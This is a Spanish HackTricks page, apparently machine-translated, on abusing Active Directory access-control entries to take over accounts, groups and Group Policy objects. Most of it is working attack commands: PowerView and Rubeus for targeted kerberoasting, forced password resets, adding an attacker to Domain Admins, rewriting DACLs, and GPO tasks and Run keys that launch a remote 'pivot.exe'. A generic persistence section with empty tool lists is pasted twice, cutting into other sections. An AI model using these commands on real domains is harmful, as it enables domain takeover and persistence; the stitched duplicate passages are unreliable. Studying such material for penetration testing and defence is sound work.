.. | ||
README.md | ||
shadow-credentials.md |
Abusando de los ACLs/ACEs de Active Directory
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Contexto
Este laboratorio es para abusar de los permisos débiles de las Listas de Control de Acceso Discrecional (DACLs) y las Entradas de Control de Acceso (ACEs) de Active Directory que conforman las DACLs.
Los objetos de Active Directory, como los usuarios y los grupos, son objetos seguros y las DACL/ACEs definen quién puede leer/modificar esos objetos (es decir, cambiar el nombre de la cuenta, restablecer la contraseña, etc.).
Un ejemplo de ACEs para el objeto seguro "Administradores de dominio" se puede ver aquí:
Algunos de los permisos y tipos de objetos de Active Directory que nos interesan como atacantes son:
- GenericAll - derechos completos sobre el objeto (añadir usuarios a un grupo o restablecer la contraseña del usuario)
- GenericWrite - actualizar los atributos del objeto (es decir, el script de inicio de sesión)
- WriteOwner - cambiar el propietario del objeto a un usuario controlado por el atacante para tomar el control del objeto
- WriteDACL - modificar las ACEs del objeto y dar al atacante el derecho de control total sobre el objeto
- AllExtendedRights - capacidad de añadir un usuario a un grupo o restablecer la contraseña
- ForceChangePassword - capacidad de cambiar la contraseña del usuario
- Self (Self-Membership) - capacidad de añadirse a uno mismo a un grupo
En este laboratorio, vamos a explorar e intentar explotar la mayoría de los ACEs mencionados anteriormente.
Vale la pena familiarizarse con todos los BloodHound edges y con tantos Extended Rights de Active Directory como sea posible, ya que nunca se sabe cuándo se puede encontrar uno menos común durante una evaluación.
GenericAll en Usuario
Usando powerview, comprobemos si nuestro usuario atacante spotless
tiene derechos de GenericAll
sobre el objeto AD para el usuario delegate
:
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
Podemos ver que efectivamente nuestro usuario spotless
tiene los derechos de GenericAll
, lo que permite al atacante tomar el control de la cuenta:
-
Cambiar la contraseña: simplemente se puede cambiar la contraseña de ese usuario con el siguiente comando:
net user <username> <password> /domain
-
Kerberoasting dirigido: se puede hacer que el usuario sea kerberoastable estableciendo un SPN en la cuenta, kerberoastearlo e intentar descifrarlo sin conexión:
# Establecer SPN Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"} # Obtener hash .\Rubeus.exe kerberoast /user:<username> /nowrap # Limpiar SPN Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose # También se puede usar la herramienta https://github.com/ShutdownRepo/targetedKerberoast # para obtener hashes de uno o todos los usuarios python3 targetedKerberoast.py -domain.local -u <username> -p password -v
-
ASREPRoasting dirigido: se puede hacer que el usuario sea ASREPRoastable desactivando la preautenticación y luego ASREProastearlo.
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
GenericAll en Grupo
Veamos si el grupo Domain admins
tiene algún permiso débil. Primero, obtengamos su distinguishedName
:
Get-NetGroup "domain admins" -FullData
Abuso de persistencia de ACL
Descripción
El abuso de persistencia de ACL se refiere a la técnica de modificar los permisos de acceso de un objeto en Active Directory para lograr persistencia en el sistema. Esto se logra mediante la adición de permisos de acceso a un objeto que permiten a un usuario o grupo específico realizar acciones que normalmente no podrían realizar. Por ejemplo, un atacante podría agregar permisos de acceso a un objeto que le permita crear una cuenta de usuario en Active Directory, lo que le permitiría mantener el acceso al sistema incluso después de que se hayan tomado medidas para eliminar su acceso.
Metodología
La metodología para el abuso de persistencia de ACL implica los siguientes pasos:
- Identificar un objeto en Active Directory que tenga permisos de acceso que puedan ser abusados.
- Modificar los permisos de acceso del objeto para permitir que un usuario o grupo específico realice acciones que normalmente no podrían realizar.
- Utilizar los permisos de acceso modificados para lograr persistencia en el sistema.
Identificación de objetos con permisos de acceso abusables
Para identificar objetos en Active Directory que tengan permisos de acceso que puedan ser abusados, se pueden utilizar las siguientes herramientas:
Modificación de permisos de acceso
Una vez que se ha identificado un objeto con permisos de acceso abusables, se pueden utilizar las siguientes herramientas para modificar los permisos de acceso:
Utilización de permisos de acceso modificados
Una vez que se han modificado los permisos de acceso de un objeto en Active Directory, se pueden utilizar los permisos de acceso modificados para lograr persistencia en el sistema. Algunos ejemplos de cómo se pueden utilizar los permisos de acceso modificados incluyen:
- Crear una cuenta de usuario en Active Directory que tenga permisos de administrador.
- Agregar un usuario o grupo a un grupo de administradores existente.
- Modificar los permisos de acceso de un objeto para permitir que un usuario o grupo específico tenga acceso a información confidencial.
Mitigación
Para mitigar el abuso de persistencia de ACL, se deben seguir las mejores prácticas de seguridad de Active Directory, que incluyen:
- Limitar los permisos de acceso a los objetos de Active Directory solo a los usuarios y grupos que necesitan acceso.
- Utilizar grupos de seguridad para asignar permisos de acceso en lugar de asignar permisos de acceso directamente a los usuarios.
- Monitorear los cambios en los permisos de acceso de los objetos de Active Directory y tomar medidas inmediatas si se detecta un cambio no autorizado.
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
Podemos ver que nuestro usuario atacante spotless
tiene derechos de GenericAll
una vez más:
Efectivamente, esto nos permite añadirnos a nosotros mismos (el usuario spotless
) al grupo Domain Admin
:
net group "domain admins" spotless /add /domain
¡Se puede lograr lo mismo con el módulo de Active Directory o PowerSploit!
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
GenericAll / GenericWrite / Write en Computadora/Usuario
- Si tienes estos privilegios en un objeto de Computadora, puedes llevar a cabo Delegación Restringida Basada en Recursos de Kerberos: Toma de Control de Objeto de Computadora.
- Si tienes estos privilegios sobre un usuario, puedes usar uno de los primeros métodos explicados en esta página.
- O, si los tienes en una Computadora o un usuario, puedes usar Credenciales de Sombra para suplantarlos:
{% content-ref url="shadow-credentials.md" %} shadow-credentials.md {% endcontent-ref %}
WriteProperty en Grupo
Si nuestro usuario controlado tiene el derecho WriteProperty
en Todos
los objetos para el grupo Administradores de Dominio
:
Podemos agregar nuevamente a nuestro usuario al grupo Administradores de Dominio
y escalar privilegios:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
Autoasignación de permisos en grupos
Otro privilegio que permite al atacante añadirse a un grupo es la autoasignación de permisos en grupos:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
WriteProperty (Auto-Membresía)
Un privilegio más que permite al atacante agregarse a sí mismo a un grupo:
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Abuso de persistencia de ACL
Descripción
El abuso de persistencia de ACL se refiere a la técnica de modificar los permisos de acceso de un objeto en Active Directory para lograr persistencia en el sistema. Esto se logra mediante la adición de permisos de acceso a un objeto que permiten a un usuario o grupo específico realizar acciones que normalmente no podrían realizar. Por ejemplo, un atacante podría agregar permisos de acceso a un objeto que le permita crear una cuenta de usuario en Active Directory, lo que le permitiría mantener el acceso al sistema incluso después de que se hayan tomado medidas para eliminar su acceso.
Metodología
La metodología para el abuso de persistencia de ACL implica los siguientes pasos:
- Identificar un objeto en Active Directory que tenga permisos de acceso que puedan ser abusados.
- Modificar los permisos de acceso del objeto para permitir que un usuario o grupo específico realice acciones que normalmente no podrían realizar.
- Utilizar los permisos de acceso modificados para lograr persistencia en el sistema.
Identificación de objetos con permisos de acceso abusables
Para identificar objetos en Active Directory que tengan permisos de acceso que puedan ser abusados, se pueden utilizar las siguientes herramientas:
Modificación de permisos de acceso
Una vez que se ha identificado un objeto con permisos de acceso abusables, se pueden utilizar las siguientes herramientas para modificar los permisos de acceso:
Utilización de permisos de acceso modificados
Una vez que se han modificado los permisos de acceso de un objeto en Active Directory, se pueden utilizar los permisos de acceso modificados para lograr persistencia en el sistema. Algunos ejemplos de cómo se pueden utilizar los permisos de acceso modificados incluyen:
- Crear una cuenta de usuario en Active Directory que tenga permisos de administrador.
- Agregar un usuario o grupo a un grupo de administradores existente.
- Modificar los permisos de acceso de un objeto para permitir que un usuario o grupo específico tenga acceso a información confidencial.
Mitigación
Para mitigar el abuso de persistencia de ACL, se deben seguir las mejores prácticas de seguridad de Active Directory, que incluyen:
- Limitar los permisos de acceso a los objetos de Active Directory solo a los usuarios y grupos que necesitan acceso.
- Utilizar grupos de seguridad para asignar permisos de acceso en lugar de asignar permisos de acceso directamente a los usuarios.
- Monitorear los cambios en los permisos de acceso de los objetos de Active Directory y tomar medidas inmediatas si se detecta un cambio no autorizado.
net group "domain admins" spotless /add /domain
ForceChangePassword
Si tenemos ExtendedRight
en el tipo de objeto User-Force-Change-Password
, podemos restablecer la contraseña del usuario sin conocer su contraseña actual:
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Realizando lo mismo con powerview:
Set-DomainUserPassword -Identity delegate -Verbose
Otro método que no requiere manipulación de la conversión de cadenas seguras de contraseña:
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
...o una sola línea si no hay una sesión interactiva disponible:
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Y una última forma de lograr esto desde Linux:
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
Más información:
- https://malicious.link/post/2017/reset-ad-user-password-with-linux/
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c
WriteOwner en Grupo
Observe cómo antes del ataque el propietario de Domain Admins
es Domain Admins
:
Después de la enumeración ACE, si encontramos que un usuario bajo nuestro control tiene derechos de WriteOwner
en ObjectType:All
...
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Podemos cambiar el propietario del objeto Domain Admins
a nuestro usuario, que en nuestro caso es spotless
. Tenga en cuenta que el SID especificado con -Identity
es el SID del grupo Domain Admins
:
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
GenericWrite en Usuario
El permiso GenericWrite
en un objeto de usuario de Active Directory permite a un usuario modificar los atributos del objeto, incluyendo los permisos de acceso. Esto puede ser abusado para obtener persistencia en el sistema.
Para explotar esta vulnerabilidad, un atacante puede agregar su propio SID (identificador de seguridad) a la lista de control de acceso (ACL) del objeto de usuario, otorgándose así permisos de acceso al objeto. Luego, el atacante puede modificar los atributos del objeto para agregar permisos adicionales a su cuenta, como GenericAll
, lo que le permitiría tomar el control total del objeto y, por lo tanto, obtener persistencia en el sistema.
Es importante tener en cuenta que este ataque solo es posible si el atacante ya tiene acceso de escritura al objeto de usuario.
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
WriteProperty
en un ObjectType
, que en este caso particular es Script-Path
, permite al atacante sobrescribir la ruta del script de inicio de sesión del usuario delegate
, lo que significa que la próxima vez que el usuario delegate
inicie sesión, su sistema ejecutará nuestro script malicioso:
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
A continuación se muestra cómo se actualizó el campo de script de inicio de sesión del usuario en AD:delegate
GenericWrite en Grupo
Esto te permite agregar nuevos usuarios como miembros del grupo (por ejemplo, tú mismo):
# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
WriteDACL + WriteOwner
Si eres el propietario de un grupo, como yo soy el propietario de un grupo AD Test
:
Lo cual, por supuesto, puedes hacer a través de PowerShell:
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
Si tienes acceso a un objeto de AD como se muestra en la imagen anterior y tienes permisos de WriteDACL
sobre ese objeto de AD:
...puedes darte a ti mismo privilegios de GenericAll
con un poco de hechicería de ADSI:
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
Lo que significa que ahora tienes el control total del objeto AD:
Esto significa efectivamente que ahora puedes agregar nuevos usuarios al grupo.
Es interesante destacar que no pude abusar de estos privilegios utilizando el módulo de Active Directory y los cmdlets Set-Acl
/ Get-Acl
:
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
Replicación en el dominio (DCSync)
El permiso DCSync implica tener estos permisos sobre el propio dominio: DS-Replication-Get-Changes, Replicating Directory Changes All y Replicating Directory Changes In Filtered Set.
Aprende más sobre el ataque DCSync aquí.
Delegación de GPO
A veces, ciertos usuarios/grupos pueden ser delegados para acceder a la gestión de objetos de directiva de grupo, como es el caso del usuario offense\spotless
:
Podemos ver esto aprovechando PowerView de la siguiente manera:
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Lo siguiente indica que el usuario offense\spotless
tiene privilegios de WriteProperty, WriteDacl, WriteOwner entre otros que son propensos a ser abusados:
Enumerar permisos de GPO
Sabemos que el ObjectDN anterior de la captura de pantalla se refiere al GPO New Group Policy Object
ya que el ObjectDN apunta a CN=Policies
y también a CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}
, que es lo mismo que en la configuración del GPO como se resalta a continuación:
Si queremos buscar específicamente GPOs mal configurados, podemos encadenar múltiples cmdlets de PowerSploit de la siguiente manera:
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Computadoras con una política dada aplicada
Ahora podemos resolver los nombres de las computadoras a las que se aplica la GPO Política mal configurada
:
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
Políticas aplicadas a un equipo determinado
Para obtener una lista de las políticas aplicadas a un equipo determinado, podemos ejecutar el siguiente comando:
gpresult /Scope Computer /v
Este comando nos mostrará una lista de todas las políticas aplicadas al equipo, incluyendo las políticas de seguridad. Podemos buscar en esta lista para ver si hay alguna política que permita a un usuario malintencionado obtener permisos elevados o persistencia en el sistema.
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
Unidades Organizativas con una Política Dada Aplicada
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
Abuso de GPO - New-GPOImmediateTask
Una de las formas de abusar de esta mala configuración y obtener la ejecución de código es crear una tarea programada inmediata a través de GPO de la siguiente manera:
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
Lo anterior agregará a nuestro usuario "spotless" al grupo local administrators
de la máquina comprometida. Observe cómo antes de la ejecución del código, el grupo no contiene al usuario spotless
:
Módulo GroupPolicy - Abuso de GPO
{% hint style="info" %}
Puede verificar si el módulo GroupPolicy está instalado con Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
. En caso de necesidad, puede instalarlo con Install-WindowsFeature –Name GPMC
como administrador local.
{% endhint %}
# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
Este payload, después de que se actualice el GPO, necesitará que alguien inicie sesión en la computadora.
SharpGPOAbuse - Abuso de GPO
{% hint style="info" %} No puede crear GPOs, por lo que todavía debemos hacerlo con RSAT o modificar uno al que ya tengamos acceso de escritura. {% endhint %}
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
Actualización forzada de políticas
Las actualizaciones abusivas anteriores de GPO se recargan aproximadamente cada 90 minutos.
Si tienes acceso al equipo, puedes forzarlo con gpupdate /force
.
Bajo el capó
Si observamos las Tareas Programadas de la GPO Política mal configurada
, podemos ver nuestra evilTask
sentada allí:
A continuación se muestra el archivo XML que se creó con New-GPOImmediateTask
que representa nuestra tarea programada maliciosa en la GPO:
{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
{% endcode %}
Usuarios y Grupos
La misma escalada de privilegios se puede lograr abusando de la función de Usuarios y Grupos de GPO. Tenga en cuenta en el archivo a continuación, en la línea 6, donde se agrega el usuario spotless
al grupo local administrators
- podríamos cambiar el usuario por otro, agregar otro o incluso agregar el usuario a otro grupo / múltiples grupos ya que podemos modificar el archivo de configuración de la política en la ubicación mostrada debido a la delegación de GPO asignada a nuestro usuario spotless
:
{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>
{% endcode %}
Además, podríamos pensar en aprovechar los scripts de inicio / cierre de sesión, usar el registro para autoruns, instalar .msi, editar servicios y vías similares de ejecución de código.
Referencias
- Inicialmente, esta información fue en su mayoría copiada de https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
- https://wald0.com/?p=112
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
- https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
- https://adsecurity.org/?p=3658
- https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.